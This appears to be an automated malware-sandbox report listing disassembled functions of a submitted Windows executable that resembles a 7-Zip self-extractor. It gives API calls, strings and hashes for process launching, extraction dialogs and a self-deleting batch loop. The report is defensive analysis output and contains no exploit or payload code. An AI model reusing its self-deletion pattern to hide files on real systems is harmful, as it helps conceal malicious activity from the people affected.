Instruction Fuzzy Hash: 93012671600218DFD3106B7AED44AB3F7ECEB85755B12843FE202921A0CAB79C008F6C

Function 0040244E Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(00406032,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,0000000A,-00000008,00406032,?,00000000,0000000A), ref: 00402487
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00402499
FreeSid.ADVAPI32(?), ref: 004024A2

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 61f8cf9d4fe0a411273f6da1a0187a3308019e8c7258d9cc8422d2cdfcfadd87
Instruction ID: fcbafef67fd355d70295d2c1b6ce6e7585022550186800af39a78ba60eef4ec0
Opcode Fuzzy Hash: 61f8cf9d4fe0a411273f6da1a0187a3308019e8c7258d9cc8422d2cdfcfadd87
Instruction Fuzzy Hash: F7F03C72944288FEDB01DBE88D85ADEBF7CAB18304F8480AAA101A2182D2705704CB69

Function 0040AD30 Relevance: .5, Instructions: 479COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1df083afa2ec122568cef5a0170ccce4311ab5785baa6c9343831b33b0cc2ec
Instruction ID: 1deff6650f640bb2d9dcab77f147087c60d03763b1f3dd6742a57df9d51469cf
Opcode Fuzzy Hash: b1df083afa2ec122568cef5a0170ccce4311ab5785baa6c9343831b33b0cc2ec
Instruction Fuzzy Hash: 5F022B72A043124BDB09CE28C59027DBBE2FBC4345F150A3EE89667BC4D7789954C7DA

Function 00413D43 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e781e73348b070714efe4b9f1f387dbcbf5b044bf6c7f23a7a0004d2e0ca769a
Instruction ID: d276be45ba9710969d4d69a2fbd68599cb80de3b2bdcae4a446b37c04d3c8c9c
Opcode Fuzzy Hash: e781e73348b070714efe4b9f1f387dbcbf5b044bf6c7f23a7a0004d2e0ca769a
Instruction Fuzzy Hash: 6A41C360C14B9652EB134F7CC842272B320BFAB244F00D75AFDD179922FB3266446255

Function 00413370 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9ef0b0ca1b2f4f90659186b02398175d102153a1dce1c25c5b035dc35f82aa6
Instruction ID: 6fc8e050a97d926f750d5da14c4a761a5f22703977f0277d1b92a118b0bcd8c9
Opcode Fuzzy Hash: e9ef0b0ca1b2f4f90659186b02398175d102153a1dce1c25c5b035dc35f82aa6
Instruction Fuzzy Hash: 2F212E7B370D4607EB0C8939AE336BE2582E340346F88953DD247C5784EE9E9954810D

Function 004139D1 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a91e830b051fd3563903b3b4c558af91fd9d6843125d3e1887e1db665648e344
Instruction ID: 593f74aba8cbd25357504dd2d18fce0fb38989f15731237b119c96727be92a00
Opcode Fuzzy Hash: a91e830b051fd3563903b3b4c558af91fd9d6843125d3e1887e1db665648e344
Instruction Fuzzy Hash: 7521C53291462547CB02CE6EE4845A7F392FFC436BF174767ED8467290C629A85486E0

Function 00413AAB Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d88b4545622fc2f48369f3988b55fed1d0241348448e0d26e09a3dd7181b3030
Instruction ID: f31e75e8446499c6638a38678b48eff386f2da62f80cbfd2527233499c21bf4b
Opcode Fuzzy Hash: d88b4545622fc2f48369f3988b55fed1d0241348448e0d26e09a3dd7181b3030
Instruction Fuzzy Hash: 21213B7291842587C701DF1DE4886B7B3E1FFC431AF678A3BD9828B182C638E885D794

Function 0040503E Relevance: 56.2, APIs: 30, Strings: 2, Instructions: 213threadprocesssynchronizationCOMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32(?,?,?), ref: 0040505F
??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 00405122
??3@YAXPAX@Z.MSVCRT(?,?,00000000), ref: 0040512A
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 00405132
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000), ref: 0040513A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000), ref: 00405142
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,00000000), ref: 0040514A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,00000000), ref: 00405152
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000), ref: 0040515A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 00405162
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040516A
GetStartupInfoW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405183
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000001,01000004,00000000,00000044,?), ref: 004051AA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 004051B4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 004051BF
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004051C7
CreateJobObjectW.KERNEL32(00000000,00000000), ref: 004051DC
AssignProcessToJobObject.KERNEL32(00000000,?), ref: 004051F3
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000001,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 00405203
SetInformationJobObject.KERNEL32(?,00000007,?,00000008), ref: 00405224
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040522D
GetQueuedCompletionStatus.KERNEL32(00000000,?,?,?,000000FF,?,?,?,?,?,?,?,?,?,00000000), ref: 0040524C
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405255
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,00000000), ref: 0040525C
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040526B
GetExitCodeProcess.KERNEL32(?,?), ref: 00405274
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 0040527F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 0040528B
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 00405292
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 0040529D

Strings

sfxwaitall, xrefs: 00405085
" -, xrefs: 0040508A

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??3@$CloseHandleObject$CreateProcess$CompletionErrorLastResumeThread$AssignCodeCommandExitInfoInformationLinePortQueuedSingleStartupStatusWait
String ID: " -$sfxwaitall
API String ID: 2734624574-3991362806
Opcode ID: c576ddda3cb22813f92d1ea0a50b073aab1b0f041d900a3914aafabf44139407
Instruction ID: b3327515afe2f0509fed3fa0d446ddd4546a9b02c844584286d91d1d95b89973
Opcode Fuzzy Hash: c576ddda3cb22813f92d1ea0a50b073aab1b0f041d900a3914aafabf44139407
Instruction Fuzzy Hash: 73614DB2800148BBDF11BFA1DC45EDF3B6CFF54308F10853AFA15A21A1DA399A559F68

Function 00405304 Relevance: 36.9, APIs: 14, Strings: 7, Instructions: 144fileCOMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(?,?,00000000), ref: 0040534B
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0040537C
WriteFile.KERNEL32(00419858,?,?,00406D05,00000000,del ",:Repeat,00000000), ref: 00405431
??3@YAXPAX@Z.MSVCRT(?), ref: 0040543C
CloseHandle.KERNEL32(00419858), ref: 00405445
SetFileAttributesW.KERNEL32(00406D05,00000000), ref: 0040545C
ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 0040546E
??3@YAXPAX@Z.MSVCRT(?), ref: 00405477
??3@YAXPAX@Z.MSVCRT(?), ref: 00405483
??3@YAXPAX@Z.MSVCRT(00406D05,?), ref: 00405489
??3@YAXPAX@Z.MSVCRT(00406D05,?,00000000,?,?,?,?,?,?,?,?,?,?,?,00406D05,00419858), ref: 004054B7

Strings

" goto Repeat, xrefs: 004053E5
7ZSfx%03x.cmd, xrefs: 0040535D
if exist ", xrefs: 004053CC
del ", xrefs: 004053A4, 004053A9, 004053F2
", xrefs: 004053BE, 004053C3, 00405407
:Repeat, xrefs: 00405397
open, xrefs: 00405468

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??3@$File$AttributesCloseCreateDriveExecuteHandleShellTypeWrite
String ID: "$" goto Repeat$7ZSfx%03x.cmd$:Repeat$del "$if exist "$open
API String ID: 3007203151-3467708659
Opcode ID: bc9866227df6a082dd45c647f50685e9e39f62763f2fa5a47f650fc85807f56f
Instruction ID: d0d69a7dd8ff82dd971fb120c5bc6d20105d604efb913bdcb2d31d3208e79299
Opcode Fuzzy Hash: bc9866227df6a082dd45c647f50685e9e39f62763f2fa5a47f650fc85807f56f
Instruction Fuzzy Hash: 8E418E31C00109BADB11ABA0DC86DEF7779EF14319F50802AF515761E1EB785E86DB68

Function 00404B06 Relevance: 35.2, APIs: 3, Strings: 17, Instructions: 207stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,004166B8,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404BE2

Part of subcall function 00402187: GetLastError.KERNEL32(00000000,00000020,-00000002), ref: 004021D6
Part of subcall function 00402187: wsprintfW.USER32 ref: 004021E7
Part of subcall function 00402187: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004021FC
Part of subcall function 00402187: GetLastError.KERNEL32 ref: 00402201
Part of subcall function 00402187: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 0040221C
Part of subcall function 00402187: GetEnvironmentVariableW.KERNEL32(?,00000000,00000004), ref: 0040222F
Part of subcall function 00402187: GetLastError.KERNEL32 ref: 00402236
Part of subcall function 00402187: lstrcmpiW.KERNEL32(02533FD0,00404926), ref: 0040224B
Part of subcall function 00402187: ??3@YAXPAX@Z.MSVCRT(02533FD0), ref: 0040225B
Part of subcall function 00402187: SetLastError.KERNEL32(?), ref: 00402282
Part of subcall function 00402187: lstrlenA.KERNEL32(00416208), ref: 004022B6
Part of subcall function 00402187: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004022D1
Part of subcall function 00402187: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 00402303

_wtol.MSVCRT ref: 00404CDF
_wtol.MSVCRT ref: 00404CFB

Strings

ExtractDialogWidth, xrefs: 00404CC1
ExtractPathTitle, xrefs: 00404D04
ErrorTitle, xrefs: 00404B82
Progress, xrefs: 00404BCA
OverwriteMode, xrefs: 00404C24
ExtractPathText, xrefs: 00404D1C
_, xrefs: 00404B29, 00404B46
GUIFlags, xrefs: 00404C41, 00404C46, 00404C62
CancelPrompt, xrefs: 00404D34
MiscFlags, xrefs: 00404C74, 00404C79, 00404C95
WarningTitle, xrefs: 00404B9A
ExtractDialogText, xrefs: 00404CB0
ExtractPathWidth, xrefs: 00404CE8
ExtractTitle, xrefs: 00404BB2
Title, xrefs: 00404B14
GUIMode, xrefs: 00404BF7
ExtractCancelText, xrefs: 00404CA4

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ErrorLast$??2@EnvironmentVariable_wtollstrcmpi$??3@InfoLocalelstrlenwsprintf
String ID: CancelPrompt$ErrorTitle$ExtractCancelText$ExtractDialogText$ExtractDialogWidth$ExtractPathText$ExtractPathTitle$ExtractPathWidth$ExtractTitle$GUIFlags$GUIMode$MiscFlags$OverwriteMode$Progress$Title$WarningTitle$_
API String ID: 2725485552-3483632650
Opcode ID: 07b1172011b0cd173d857418f64cc138280eef6e6d3e42432808643f3bcd4bbd
Instruction ID: efab4658e061a586f4080eb8d96ca385680a2b42527defa3ddb57561e196b8fa
Opcode Fuzzy Hash: 07b1172011b0cd173d857418f64cc138280eef6e6d3e42432808643f3bcd4bbd
Instruction Fuzzy Hash: F151B8F6E01104BADB11AF616D8ADEF36ACDE41708725443FF904F22C2E6BD8E85466D

Function 0040312D Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 123windowlibrarystringCOMMON

Download Yara Rule

APIs

GetClassNameA.USER32(?,?,00000040), ref: 00403140
lstrcmpiA.KERNEL32(?,STATIC), ref: 00403153
GetWindowLongW.USER32(?,000000F0), ref: 00403160

Part of subcall function 004030EA: GetWindowTextLengthW.USER32(?), ref: 004030FB
Part of subcall function 004030EA: GetWindowTextW.USER32(t1@,00000000,00000001), ref: 00403118

??3@YAXPAX@Z.MSVCRT(?), ref: 0040318D
GetParent.USER32(?), ref: 0040319B
LoadLibraryA.KERNEL32(riched20), ref: 004031AF
GetMenu.USER32(?), ref: 004031C2
SetThreadLocale.KERNEL32(00000419), ref: 004031CF
CreateWindowExW.USER32(00000000,RichEdit20W,004154C8,50000804,?,?,?,?,?,00000000,00000000,00000000), ref: 004031FF
DestroyWindow.USER32(?), ref: 00403210
SendMessageW.USER32(00000000,00000459,00000022,00000000), ref: 00403225
GetSysColor.USER32(0000000F), ref: 00403229
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00403237
SendMessageW.USER32(00000000,00000461,?,?), ref: 00403262
??3@YAXPAX@Z.MSVCRT(?), ref: 00403267
??3@YAXPAX@Z.MSVCRT(?,?), ref: 0040326F

Strings

RichEdit20W, xrefs: 004031F9
{\rtf, xrefs: 00403176
STATIC, xrefs: 0040314A
riched20, xrefs: 004031AA

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: Window$??3@MessageSend$Text$ClassColorCreateDestroyLengthLibraryLoadLocaleLongMenuNameParentThreadlstrcmpi
String ID: RichEdit20W$STATIC$riched20${\rtf
API String ID: 3514532227-2281146334
Opcode ID: 6a2ef85bb8466b284f341e562f305245560d17f4b0350e1b805e867f4a5d8a7e
Instruction ID: 373b527b6ca097a0cf97d4fb6958eb329f6bb70dd43407f4b4eeb9307f1859e1
Opcode Fuzzy Hash: 6a2ef85bb8466b284f341e562f305245560d17f4b0350e1b805e867f4a5d8a7e
Instruction Fuzzy Hash: 61319E72900509FFDB01AFA4DC49EEF7BBDAF48716F108036F605F6190DA788A418B68

Function 004086EB Relevance: 34.8, APIs: 23, Instructions: 265windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00408AB5), ref: 00408714
LoadIconW.USER32(00000000), ref: 00408717
GetSystemMetrics.USER32(00000032), ref: 0040872B
GetSystemMetrics.USER32(00000031), ref: 00408730
GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00408AB5), ref: 00408739
LoadImageW.USER32(00000000), ref: 0040873C
SendMessageW.USER32(?,00000080,00000001,?), ref: 0040875C
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408765
GetDlgItem.USER32(?,000004B2), ref: 00408781
GetDlgItem.USER32(?,000004B2), ref: 0040878B
GetWindowLongW.USER32(?,000000F0), ref: 00408797
SetWindowLongW.USER32(?,000000F0,00000000), ref: 004087A6
GetDlgItem.USER32(?,000004B5), ref: 004087B4
GetDlgItem.USER32(?,000004B5), ref: 004087C2
GetWindowLongW.USER32(?,000000F0), ref: 004087CE
SetWindowLongW.USER32(?,000000F0,00000000), ref: 004087DD
GetWindow.USER32(?,00000005), ref: 004088C3
GetWindow.USER32(?,00000005), ref: 004088DF
GetWindow.USER32(?,00000005), ref: 004088F7
GetModuleHandleW.KERNEL32(00000000,00000065,000004B4,00000000,000004B3,00000000,000004B2,?,000004B7,?,?,?,?,?,00408AB5), ref: 00408957
LoadIconW.USER32(00000000), ref: 0040895E
GetDlgItem.USER32(?,000004B1), ref: 0040897D
SendMessageW.USER32(00000000), ref: 00408980

Part of subcall function 00407B0D: GetDlgItem.USER32(?,?), ref: 00407B17
Part of subcall function 00407B0D: GetWindowTextLengthW.USER32(00000000), ref: 00407B1E

Part of subcall function 004071DA: GetDlgItem.USER32(?,?), ref: 004071E7
Part of subcall function 004071DA: ShowWindow.USER32(00000000,?), ref: 004071FE

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: Window$Item$Long$HandleLoadMessageModuleSend$IconMetricsSystem$ImageLengthShowText
String ID:
API String ID: 3694754696-0
Opcode ID: 8792f65208e43fda3f0ae599c7562791de8770737c82b3f6a889dddbd826b917
Instruction ID: ec505544c7bb35dede6d5bcefb07895398d021ded876e535e02418492f258e54
Opcode Fuzzy Hash: 8792f65208e43fda3f0ae599c7562791de8770737c82b3f6a889dddbd826b917
Instruction Fuzzy Hash: D671F8B1344705ABE6117B619E4AF3B7659DB80714F10443EF6827A2E2CFBCAC018A5E

Function 00401EB2 Relevance: 31.6, APIs: 21, Instructions: 121windowCOMMON

Download Yara Rule

APIs

GetWindowDC.USER32(00000000), ref: 00401EBE
GetDeviceCaps.GDI32(00000000,00000058), ref: 00401ECA
MulDiv.KERNEL32(00000000,00000064,00000060), ref: 00401EE3
GetObjectW.GDI32(?,00000018,?), ref: 00401F12
MulDiv.KERNEL32(?,00000003,00000002), ref: 00401F1D
MulDiv.KERNEL32(?,00000003,00000002), ref: 00401F27
CreateCompatibleDC.GDI32(?), ref: 00401F35
CreateCompatibleDC.GDI32(?), ref: 00401F3C
SelectObject.GDI32(00000000,?), ref: 00401F4A
CreateCompatibleBitmap.GDI32(?,?,?), ref: 00401F58
SelectObject.GDI32(00000000,00000000), ref: 00401F60
SetStretchBltMode.GDI32(00000000,00000004), ref: 00401F68
StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 00401F87
GetCurrentObject.GDI32(00000000,00000007), ref: 00401F90
SelectObject.GDI32(00000000,?), ref: 00401F9D
SelectObject.GDI32(00000000,?), ref: 00401FA3
DeleteDC.GDI32(00000000), ref: 00401FAC
DeleteDC.GDI32(00000000), ref: 00401FAF
ReleaseDC.USER32(00000000,?), ref: 00401FB6
ReleaseDC.USER32(00000000,?), ref: 00401FC5
CopyImage.USER32(?,00000000,00000000,00000000,00000000), ref: 00401FD2

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: Object$Select$CompatibleCreate$DeleteReleaseStretch$BitmapCapsCopyCurrentDeviceImageModeWindow
String ID:
API String ID: 3462224810-0
Opcode ID: bc7c6b49b760a043a5ca8b23895b80fbacfe81e10fbdf0cdd542d6a2194e7bcc
Instruction ID: f87cdcd409c0e6d8f104c470e9418599ce0c3db21cc9cfda4b735dde8093d4f2
Opcode Fuzzy Hash: bc7c6b49b760a043a5ca8b23895b80fbacfe81e10fbdf0cdd542d6a2194e7bcc
Instruction Fuzzy Hash: B0310676D40208FFDF115BE1DD48EEF7FB9EB88761F108066FA04A61A0C6754A50AFA4

Function 00401FDD Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 120windowcommemoryCOMMON

Download Yara Rule

APIs

GetClassNameA.USER32(?,?,00000040), ref: 00401FEF
lstrcmpiA.KERNEL32(?,STATIC), ref: 00402006
GetWindowLongW.USER32(?,000000F0), ref: 00402019
GetMenu.USER32(?), ref: 0040202E

Part of subcall function 00401DC9: GetModuleHandleW.KERNEL32(00000000), ref: 00401DD4
Part of subcall function 00401DC9: FindResourceExA.KERNEL32(00000000,?,?,00000000), ref: 00401DF1
Part of subcall function 00401DC9: FindResourceExA.KERNEL32(00000000,?,?,00000409), ref: 00401E05
Part of subcall function 00401DC9: SizeofResource.KERNEL32(00000000,00000000), ref: 00401E16
Part of subcall function 00401DC9: LoadResource.KERNEL32(00000000,00000000), ref: 00401E20
Part of subcall function 00401DC9: LockResource.KERNEL32(00000000), ref: 00401E2B

GlobalAlloc.KERNEL32(00000040,00000010), ref: 00402060
memcpy.MSVCRT(00000000,00000000,00000010), ref: 0040206D
CoInitialize.OLE32(00000000), ref: 00402076
CreateStreamOnHGlobal.OLE32(00000000,00000000,?), ref: 00402082
OleLoadPicture.OLEAUT32(?,00000000,00000000,00416E50,?), ref: 004020A7
GlobalFree.KERNEL32(00000000), ref: 004020B7

Part of subcall function 00401EB2: GetWindowDC.USER32(00000000), ref: 00401EBE
Part of subcall function 00401EB2: GetDeviceCaps.GDI32(00000000,00000058), ref: 00401ECA
Part of subcall function 00401EB2: MulDiv.KERNEL32(00000000,00000064,00000060), ref: 00401EE3
Part of subcall function 00401EB2: GetObjectW.GDI32(?,00000018,?), ref: 00401F12
Part of subcall function 00401EB2: MulDiv.KERNEL32(?,00000003,00000002), ref: 00401F1D
Part of subcall function 00401EB2: MulDiv.KERNEL32(?,00000003,00000002), ref: 00401F27
Part of subcall function 00401EB2: CreateCompatibleDC.GDI32(?), ref: 00401F35
Part of subcall function 00401EB2: CreateCompatibleDC.GDI32(?), ref: 00401F3C
Part of subcall function 00401EB2: SelectObject.GDI32(00000000,?), ref: 00401F4A
Part of subcall function 00401EB2: CreateCompatibleBitmap.GDI32(?,?,?), ref: 00401F58
Part of subcall function 00401EB2: SelectObject.GDI32(00000000,00000000), ref: 00401F60
Part of subcall function 00401EB2: SetStretchBltMode.GDI32(00000000,00000004), ref: 00401F68
Part of subcall function 00401EB2: StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 00401F87
Part of subcall function 00401EB2: GetCurrentObject.GDI32(00000000,00000007), ref: 00401F90
Part of subcall function 00401EB2: SelectObject.GDI32(00000000,?), ref: 00401F9D
Part of subcall function 00401EB2: SelectObject.GDI32(00000000,?), ref: 00401FA3
Part of subcall function 00401EB2: DeleteDC.GDI32(00000000), ref: 00401FAC
Part of subcall function 00401EB2: DeleteDC.GDI32(00000000), ref: 00401FAF
Part of subcall function 00401EB2: ReleaseDC.USER32(00000000,?), ref: 00401FB6

GetObjectW.GDI32(00000000,00000018,?), ref: 004020E9
SetWindowPos.USER32(00000010,00000000,00000000,00000000,?,?,00000006), ref: 004020FD
SendMessageW.USER32(00000010,00000172,00000000,?), ref: 0040210F
GlobalFree.KERNEL32(00000000), ref: 00402124

Strings

IMAGES, xrefs: 00402038
